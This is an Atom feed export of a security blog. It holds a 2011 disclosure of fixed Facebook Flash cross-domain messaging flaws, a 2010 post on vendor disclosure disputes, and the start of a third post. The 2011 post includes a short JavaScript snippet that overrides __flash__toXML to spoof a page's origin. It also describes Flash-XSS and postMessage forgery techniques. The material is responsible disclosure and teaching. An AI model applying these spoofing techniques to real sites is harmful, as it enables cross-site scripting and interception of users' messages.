<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEECRnw5cCp7ImA9WhRXFUo.&quot;"><id>tag:blogger.com,1999:blog-7482149</id><updated>2011-12-22T10:51:07.228-06:00</updated><category term="firefox" /><category term="flash" /><category term="csrf" /><category term="proxy" /><category term="css" /><category term="directory traversal" /><category term="javascript" /><category term="iexporer" /><category term="noscript" /><category term="html" /><category term="disclosure" /><category term="programming" /><category term="privilege escalation" /><category term="DoS" /><category term="unicode" /><category term="xss" /><category term="symantec" /><category term="opera" /><category term="oracle" /><category term="misc" /><category term="google" /><title>sirdarckcat</title><subtitle type="html">security and programming blog</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://sirdarckcat.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/sirdarckcat" /><feedburner:info uri="sirdarckcat" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;C0QMRH87eip7ImA9WhRXEEQ.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-8925075214892721998</id><published>2011-12-16T21:06:00.002-06:00</published><updated>2011-12-16T21:09:45.102-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-16T21:09:45.102-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="disclosure" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="flash" /><title>Doing Cross Page Communication Correctly</title><content type="html">&lt;br /&gt;
I haven't updated this blog in more than one year (woops), but it seems like I still have a couple of followers, so I was thinking on what to write about. I was originally planning to post this on August, but the fix was delayed more than expected.&lt;br /&gt;
&lt;br /&gt;
I decided to choose a random target on the interwebs to find an interesting vuln, and since Facebook recently launched it's "&lt;a href="http://www.facebook.com/whitehat" target="_blank"&gt;Whitehat Program&lt;/a&gt;", which rewards people that report them security vulnerabilities (kinda the same as&amp;nbsp;&lt;a href="http://www.google.com/about/corporate/company/rewardprogram.html" target="_blank"&gt;Google's Vulnerability Reward Program&lt;/a&gt;), I chose them.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;(Note: As of &amp;nbsp;December 15, Facebook says they have fixed the vulnerability, and awarded a $2,500 USD bounty).&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So, I took a look at their "main JS file":&amp;nbsp;&lt;a href="http://connect.facebook.net/en_US/all.js"&gt;http://connect.facebook.net/en_US/all.js&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And well, first thing that came to my mind was RPC. Mostly, because I worked implementing the Apache Shindig's version of the&amp;nbsp;&lt;a href="http://svn.apache.org/repos/asf/shindig/trunk/features/src/main/flex/Main.as" target="_blank"&gt;Flash RPC&lt;/a&gt;, and have helped reviewing&amp;nbsp;&lt;a href="http://easyxdm.net/wp/" target="_blank"&gt;easyXDM&lt;/a&gt;'s implementation, I just knew this is too hard to get right.&lt;br /&gt;
&lt;br /&gt;
A simple grep for ".swf" in their all.js file lead us to "/swf/XdComm.swf". And since I didn't know what domain that was on I tried:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;a href="https://www.facebook.com/swf/XdComm.swf" target="_blank"&gt;https://www.facebook.com/swf/XdComm.swf&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
And that worked.&lt;br /&gt;
&lt;br /&gt;
So let's see.. I sent it to showmycode.com and we get this:&lt;br /&gt;
&lt;a href="http://www.showmycode.com/?e97c7f39457f9e1b1d5b2167e14b968e" target="_blank"&gt;http://www.showmycode.com/?e97c7f39457f9e1b1d5b2167e14b968e&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
There are several non-security-bugs in that code (some of which I decided to ignore for brevity and keep the WTF quota of this blog low).&lt;br /&gt;
&lt;br /&gt;
In general the security problems found are not specific to FB at all, they are mostly, side effects of bad design decisions from either Flash or the browsers. However, this problems are widely known and can be abused by attackers to compromise information.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Calling security.allowDomain&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The first thing I notice is that XdComm calls Security.allowDomain and Security.allowInsecureDomain. This allows to execute code in the context of&amp;nbsp;&lt;a href="https://www.facebook.com/" target="_blank"&gt;https://www.facebook.com/&lt;/a&gt;&amp;nbsp;so it's an Flash-XSS,&amp;nbsp;&lt;b&gt;FAIL #1&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
The way you exploit this is by loading the victim SWF inside the attacker's SWF. That's it. The problem here is that Adobe provides only one API for enabling two very different&amp;nbsp;functionalities. In this case, what Facebook wants is just allow an HTML container to call whitelisted 'callbacks' from the SWF, but&amp;nbsp;inadvertently&amp;nbsp;it is also allowing anyone to load the SWF inside another SWF and access all methods and variables, which can result in code execution.&lt;br /&gt;
&lt;br /&gt;
Adobe actually acknowledges this is a problem, and they will make changes to support this two different use cases. The reason I don't provide a PoC is because there are several applications out there that depend on this behavior and can't easily deploy any fixes, and Adobe is working on fixing this at Flash (which is where it should be fixed). When there's a viable alternative or a good solution I'll post a PoC.&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;What FB should have done is keep this SWF out of www.facebook.com.&lt;/i&gt;&lt;/blockquote&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Getting the embedding page location&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
The second thing I notice is that it's getting the origin of the page hosting the SWF calling:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span class="Apple-style-span" style="background-color: #fcfcfc; color: #7f7f7f; font-family: monospace; font-size: 12px; line-height: 14px; white-space: pre;"&gt;&lt;span class="kw3" style="color: #0066cc;"&gt;this&lt;/span&gt;.&lt;span class="me1" style="color: #006600;"&gt;currentDomain&lt;/span&gt; = ExternalInterface.&lt;span class="kw3" style="color: #0066cc;"&gt;call&lt;/span&gt;&lt;span class="br0" style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;span class="st0" style="color: red;"&gt;"self.document.domain.toString"&lt;/span&gt;&lt;span class="br0" style="color: #66cc66;"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/blockquote&gt;
And as any Flash developer should know, ExternalInterface.call isn't something you can actually trust, so now you can "cheat" XdComm.swf into thinking it's being embedded by a page it isn't by simply overriding&amp;nbsp;&lt;i&gt;__flash__toXML&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
So, by abusing this vulnerable check, we can actually, listen and send messages on&amp;nbsp;&lt;b&gt;any&lt;/b&gt;&amp;nbsp;LocalConnection channel. This doesn't only mean we just defeated the security of the transport, but that also, if any other SWF file uses LocalConnection in facebook.com (or fbcdn.net), we can sniff into that as well. So,&amp;nbsp;&lt;b&gt;FAIL #2&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
It is hard, for a movie (or a plugin whatsoever) to know with&amp;nbsp;certainty&amp;nbsp;where it's being hosted. A SWF can be sure it's being hosted same domain, by requiring the hosting page to call a method in the Movie (added by ExternalInterface.addCallback), since by default, Flash only allows movies hosted in the same domain to call callback methods of a movie (this is what we do in Shindig for example), but besides that it's not so simple.&lt;br /&gt;
&lt;br /&gt;
Some&amp;nbsp;insecure&amp;nbsp;methods exist and&amp;nbsp;&lt;a href="http://www.google.com/codesearch?hl=en&amp;amp;lr=&amp;amp;q=ExternalInterface.call%5C%28%22.*location.*%22%5C%29&amp;amp;sbtn=Search" target="_blank"&gt;are widely used&lt;/a&gt;&amp;nbsp;to know the hosting page, such as calling:&lt;br /&gt;
&lt;blockquote&gt;
ExternalInterface.call("window.location.toString")&lt;/blockquote&gt;
There are some variations of that code, such as&amp;nbsp;calling window.location.href.toString, which is also simple to bypass&amp;nbsp;&lt;a href="http://jsbin.com/location_pwn/2" target="_blank"&gt;by rewriting the String.toString method&lt;/a&gt;, and works on all browsers.&lt;br /&gt;
&lt;br /&gt;
It's futile to try to "protect" those scripts, because of the way Flash handles ExternalInterface, it's possible to modify every single call made by the plugin, since when you call ExternalInterface.call, what really happens is that the plugin injects a script to the window with:&lt;br /&gt;
&lt;blockquote&gt;
ExecScript('try { __flash__toXML(' + yourCode + '&lt;yourcodegoeshere&gt;) ; } catch (e) { "&amp;lt;undefined;&amp;gt;"; }');&lt;/yourcodegoeshere&gt;&lt;/blockquote&gt;
&lt;br /&gt;
And,&amp;nbsp;&lt;a href="http://code.google.com/p/doctype/wiki/ArticleFixingFlashExternalInterface#Internal_Methods" target="_blank"&gt;__flash__toXML is a global function injected by Flash&lt;/a&gt;, which can be modified to return whatever we want.&lt;br /&gt;
&lt;blockquote&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;(function(){&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;var o;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;window.__flash__toXML = function () { return o("potato") };&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;window.__defineSetter__("__flash__toXML", function(x) {o = x;});&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;})();&lt;/span&gt;&lt;/blockquote&gt;
It's worth noting that Flash also bases some of it's security&amp;nbsp;decisions on the value of window.location (such as, if a movie is allowed to be scripted from a website or not), and while&amp;nbsp;&lt;a href="http://jsbin.com/location_tampering" target="_blank"&gt;this check is more difficult to tamper&lt;/a&gt;&amp;nbsp;(&lt;a href="http://www.mozilla.org/security/announce/2010/mfsa2010-10.html" target="_blank"&gt;and browsers actively fix it&lt;/a&gt;), it's still possible to do it, and it's&amp;nbsp;even easier on other browsers such as Safari (in Mac OS) where you can just replace the function "__flash_getWindowLocation" and&amp;nbsp;"__flash_getTopLocation".&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Luckily, it seems like we might be able to get at least the right Origin in future versions of Flash, as&amp;nbsp;&lt;a href="https://wiki.mozilla.org/NPAPI:DocumentOrigin" target="_blank"&gt;Mozilla is proposing a new NPAPI&lt;/a&gt;&amp;nbsp;call just for this. Let's just hope that Adobe makes this available to the SWF application via some API.&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;What FB should have done is namespace the channel names, and use some other way of verifying the page embedding the SWF (like easyXDM or Shindig does).&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
It is also possible for an attacker to specify what transport it wishes to use, so we might be able to force a page to use the Flash transport even when it might also support postMessage.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;postMessage should be used cautiously&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
There's one last thing I found. Facebook has a file which seems to allow an attacker to forge (postMessage) messages as coming from&amp;nbsp;&lt;a href="https://www.facebook.com/"&gt;https://www.facebook.com/&lt;/a&gt;&amp;nbsp;into another page that allows framing arbitrary pages.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
The Proof of Concept is located at&amp;nbsp;&lt;a href="http://r.i.elhacker.net/fbpwn"&gt;http://r.i.elhacker.net/fbpwn&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As you can see the page will allow an attacker to send messages and will also allow the attacker to specify the target origin. The attack seems to be hard to do since the "parent" seems to be hard coded. So this is&amp;nbsp;&lt;b&gt;FAIL #3&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This is a good demonstration why the existing implementation of postMessage is fundamentally broken, it's really easy for two different scripts to&amp;nbsp;interfere&amp;nbsp;with each other. I can't actually blame FB for that, it's more like a design problem in postMessage.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Luckily there's a new mechanism to use postMessage (called channel messaging), which partly solves this problem (or at least makes it harder to happen). You can read more about it here:&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html#channel-messaging" target="_blank"&gt;http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html#channel-messaging&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;b&gt;Random fact&lt;/b&gt;.. This is what Chrome uses internally to communicate with other components like the Web Inspector.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Vendor Response&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I reported these issues from&amp;nbsp;&lt;a href="https://www.facebook.com/whitehat" target="_blank"&gt;https://www.facebook.com/whitehat&lt;/a&gt;&amp;nbsp;on Tuesday Aug 16 2011 at 2 PM (PST), with the draft of this blogpost, and got a human acknowledgement at 7PM. The issue was finally fixed on December 15 2011.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
So well, this was my first post of 2011 (it's December!), and I actually made it because there was a few "de facto" knowledge about Flash that I wanted to put in writing somewhere, and because I had a look at Facebook regarding something not strictly related to work!&lt;br /&gt;
&lt;br /&gt;
In general I am impressed on the security of Facebook applications. While doing this I got locked out of my account like 5 or 6 times (maybe they detected strange behavior?), I noticed several security protections in their API (api.facebook.com/graph.facebook.com), and they actually do protect against other security vulnerabilities that most websites don't know about (such as ExternalInterface.call escaping bugs, content type sniffing, etc).&lt;br /&gt;
&lt;br /&gt;
I was awarded a $2,500.00 USD bounty for this report (not sure how it was calculated), and I'm considering donating it to charity (&lt;a href="https://www.easymatch.com/google" target="_blank"&gt;it can become 5k!&lt;/a&gt;). Any suggestions?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-8925075214892721998?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ixvLiPJegxDKpA1ZCTshMO5407U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ixvLiPJegxDKpA1ZCTshMO5407U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ixvLiPJegxDKpA1ZCTshMO5407U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ixvLiPJegxDKpA1ZCTshMO5407U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/lz6trUsqZCw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/8925075214892721998/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2011/12/doing-cross-page-communication.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8925075214892721998?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8925075214892721998?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/lz6trUsqZCw/doing-cross-page-communication.html" title="Doing Cross Page Communication Correctly" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2011/12/doing-cross-page-communication.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkACR3s8eCp7ImA9WxFbE0w.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-7427155897633263736</id><published>2010-07-05T01:10:00.001-05:00</published><updated>2010-07-05T01:19:26.570-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-05T01:19:26.570-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="disclosure" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>Full Disclosure, Reverse Responsible Disclosure and Bob</title><content type="html">Hey!&lt;br /&gt;
&lt;br /&gt;
I know I haven't posted for a long time, sorry.. I hope I still have some followers.&lt;br /&gt;
&lt;br /&gt;
Today was an interesting day, I started the day with yet-another-xss on some social website, and I found a vulnerability (kinda lame) on Paypal, later on the day I met my girlfriend's parents, and now it's late, so I'm writing a blogpost.. One vulnerability report was done on a 'responsible way', and the other, on what I just called 'reverse responsible disclosure'.. I like to invent buzzwords (and they are all jokes, please don't use them on real life).&lt;br /&gt;
&lt;br /&gt;
I do think responsible disclosure is important, mostly because giving advance notice to the vendor allows them to work on a fix, before the bad guys start exploiting it. That's what I've been using, and what I think is the right thing to do. However, this is something that, depends on the vendor as much as on the researcher.&lt;br /&gt;
&lt;br /&gt;
I've been working with several vendors on fixing vulnerabilities, most notably Microsoft and Google, both (in my opinion) do work hard to fix stuff, Microsoft takes considerably a lot more time to fix stuff, but they do communicate with me, letting me know what they are doing, and also share their ideas of fixes with me, in case I have any opinions (and they do take them into consideration). This dialog, or a swift and fast fix of vulnerabilities (like today's&amp;nbsp;&lt;a href="http://blog.insecurity.ro/youtube-html-code-injection/"&gt;youtube's XSS that was full disclosed&lt;/a&gt;&amp;nbsp;but apparently fixed fast enough) is what I consider a responsible response from the vendor.. I know this is not an opinion shared between all the industry, and that the loooooooong patching cycles of Microsoft are largely criticised, but in general, they are not so bad apart from that.&lt;br /&gt;
&lt;br /&gt;
Other vendors that work similarly are Adobe and Symantec (humm, except for &lt;a href="http://antivirus.about.com/b/2010/06/18/ormandy-google-how-close-is-too-close.htm"&gt;this girl&lt;/a&gt; that seems to have a job she shouldn't), and I was happy to work with them as well.&lt;br /&gt;
&lt;br /&gt;
Now, the bad guys..&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;SMF (simplemachines.org)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
While their developers seem to understand security vulnerabilities, their PM is probably living in the stone age.&lt;br /&gt;
&lt;br /&gt;
Some time ago, &lt;a href="http://labs.elhacker.net/"&gt;elhacker.net&lt;/a&gt;, a security community I'm member of, created a project to make a security audit of SMF 2.0 before using it. It was great, the project found around 45 vulnerabilities, half of them serious, and they were mostly fixed (not all of them, but most of them were). The change log included credits and all, so it was great, and we declared the project as a success.&lt;br /&gt;
&lt;br /&gt;
However, a few months later, &lt;b&gt;the PM of SMF asked google to close our project page&lt;/b&gt;, because we were 'violating their license', thing that Google had to comply with. I had to remove the comments on the code, and the patches, code reviews, and repositories, so Google could re enable the project page (&lt;a href="http://smf2-review.googlecode.com/"&gt;http://smf2-review.googlecode.com/&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Overall, this sucks. We did the project to help them, and we did asked them BEFORE if the way we were going to work was correct, I even sent an email asking for permission to redistribute their code with patches, but since I had no response, I decided to just mirror it for code reviews, but don't modify it. They keep on saying it's their right to protect their code, and etc.. but I really do think they acted wrong by not notifying us first.. (they had our contact email, and we interchanged a LOT of emails) when we did them a favor.&lt;br /&gt;
&lt;br /&gt;
In the future, I don't recommend working with them, if you don't want to be stabbed on your back. I do think this response was very lame on their part.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;OpenCart&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Some of you may know &lt;a href="http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/"&gt;Daniel Kerr, the developer of Open Cart&lt;/a&gt;, that thinks that Paypal, Google and Yahoo are always vulnerable to CSRF, and that an antivirus would stop CSRF attacks (thing that made more than one person laugh for a while). Someone already had a media circus with this guy, (he actually &lt;a href="http://blog.visionsource.org/2010/03/29/opencart-secured-issue/"&gt;savotaged the security patches that another guy did because he refused to fix them&lt;/a&gt;). But now I will talk about something else.&lt;br /&gt;
&lt;br /&gt;
A good friend, &lt;a href="http://whk.webcomparte.com/"&gt;WHK&lt;/a&gt;&amp;nbsp;is a skilled developer, that does security auditories as a hobby, he is known for finding stuff in several popular CMS and he&amp;nbsp;found a couple&lt;lot&gt;&lt;a href="https://foro.elhacker.net/nivel_web/opencart_se_niega_a_arreglar_vulnerabilidades_y_sabotea_los_parches-t294544.0.html"&gt;&amp;nbsp;of vulnerabilities in OpenCart&lt;/a&gt;, so he documented them. Overall, there are Local File Inclusion vulnerabilities, direct remote code execution, and yet another CSRF vulnerability that allows an attacker to take complete compromise of the server. His english is not very good so he asked me to contact the developer, which I did. My email was saying that WHK and a few other users where going to make a free auditory of OpenCart, and that he will get notified before making the new vulnerabilities public.&lt;/lot&gt;&lt;br /&gt;
&lt;br /&gt;
His response was:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;I prefer if you mind your own business and not bother me or the opencart community. The exploit that is being discussed will be fixed in the next release. I don't need your services. Stop wasting my time.&lt;br /&gt;
&lt;br /&gt;
Stop bothering me!&lt;/blockquote&gt;&lt;br /&gt;
So, we did stopped bothering him since then, and now there are a total of &lt;b&gt;14 vulnerabilities&lt;/b&gt;. This vulnerabilities are now private, because we think he won't fix them if we make them public (as he hasn't fixed the first ones). And we can't make them public, because thousands of users use OpenCart and they actually manage security sensitive information. (In this case I don't think full disclosure will work).&lt;br /&gt;
&lt;br /&gt;
Knowing that Daniel Kerr has a bad history even with fully disclosed vulnerabilities, we are clueless on what to do. The best thing may be to urge everyone to stop using OpenCart as soon as possible.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Paypal&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
So, paypal help center was vulnerable to a XSS for over 1 year, with a vulnerabilty that I reported to them &lt;b&gt;3 years ago&lt;/b&gt;.. and was only fixed because someone posted it on xssed.org (&lt;a href="http://xssed.org/mirror/34771/"&gt;http://xssed.org/mirror/34771/&lt;/a&gt;). Since then, I felt it was not worth privately reporting stuff to them. But actually I didn't find any other vulnerabilities on paypal until recently.&lt;br /&gt;
&lt;br /&gt;
So, today I found one, that is actually not really dangerous, requires the victim to be logged in on a place they probably wont be logged in.. And since full disclosure seems to be the only way to catch their attention, I did it.. and twitted about a clickjacking attack that allows you to send money to your account from a victim with 2 clicks.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://twitter.com/sirdarckcat/status/17738238439"&gt;https://twitter.com/sirdarckcat/status/17738238439&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Anyway, I don't think this can be abused in real life, but I do think it should be fixed, so after posting it on twitter, I waited a few hours and then reported it to paypal with a few suggestions on how to fix it. This is what I called reverse responsible disclosure.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;What about Bob?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Well, I did found a XSS in a popular social network! but since they behaved cool in the past, I decided to report it privately, and let them fix it.. I may make it public when its fixed, but I don't think it's interesting enough (it's on the search engine.. They made a new version and missed to check for &amp;lt;&amp;gt; in JS strings).&lt;br /&gt;
&lt;br /&gt;
So.. that's pretty much all.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;What I think will happen now&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
1. The &lt;b&gt;SMF&lt;/b&gt; guys will react and write me an email/comment/blogpost saying how an evil and unreasonable man I am.&lt;br /&gt;
2. Daniel Kerr from &lt;b&gt;OpenCart&lt;/b&gt; will probably start trolling about this on email/his forum, without fixing any vulnerabilities whatsoever.&lt;br /&gt;
3. &lt;b&gt;Paypal&lt;/b&gt; will fix this vulnerabilities, and say I was a bad guy.&lt;br /&gt;
4. &lt;b&gt;Bob&lt;/b&gt; will fix the bug.&lt;br /&gt;
&lt;br /&gt;
Soooo, that's all, I was really biting my tong on the opencart/smf responses.. And I am happy that I finally found a time to write about it.&lt;br /&gt;
&lt;br /&gt;
And this is not intended to be used in the famous disclosure debate, or similar, is just a&amp;nbsp;catharsis&amp;nbsp;after dealing with this couple of lame vendors (except for bob, bob is cool, hi bob!).&lt;br /&gt;
&lt;br /&gt;
Thanks for reading..&lt;br /&gt;
&lt;br /&gt;
PS. I just noticed AdSense is showing Paypal ads on my site.. lol, that reminded me when the caesars palace twitter account retweeted how to hack their own wireless network.&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-7427155897633263736?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/-b76Z9_L4Qs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/7427155897633263736/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2010/07/full-disclosure-reverse-responsible.html#comment-form" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/7427155897633263736?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/7427155897633263736?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/-b76Z9_L4Qs/full-disclosure-reverse-responsible.html" title="Full Disclosure, Reverse Responsible Disclosure and Bob" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>7</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2010/07/full-disclosure-reverse-responsible.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8HQX89eyp7ImA9WxNWFks.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-6447658206566334811</id><published>2009-10-15T22:30:00.006-05:00</published><updated>2009-10-15T22:47:10.163-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-15T22:47:10.163-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>A couple of unicode issues on PHP and Firefox</title><content type="html">Well, here I am developing ACS, finding that this project resembles at some degree the creation of a browser.. but anyway, it's close to a working beta (yay!).&lt;br /&gt;
